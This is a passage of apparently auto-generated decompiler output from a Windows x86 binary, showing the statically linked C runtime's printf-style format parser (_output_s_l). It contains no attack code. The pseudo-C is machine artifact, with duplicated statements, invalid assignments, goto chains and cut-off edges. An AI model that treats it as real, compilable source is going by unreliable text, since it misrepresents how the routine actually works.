														__eax = E004357B0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004357F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E004342C0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E004357F0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004357B0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C5D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435600))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E004312B0( *(_t557 - 0x251) & 0x000000ff, E0041AEE0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00435710( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00435710( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E410();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422F00(_t541))) = 0x16;
																		E00422C90(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041AEB0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435638; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435620))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435660; // 0x4e6e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043564C))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AEE0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xab8ad97d
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x2b8ac62f
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEE0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x2b8ac616
																						E00424750(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428430(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004283F0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
																		__eax = E00433FA0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E410();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																			__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEB0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
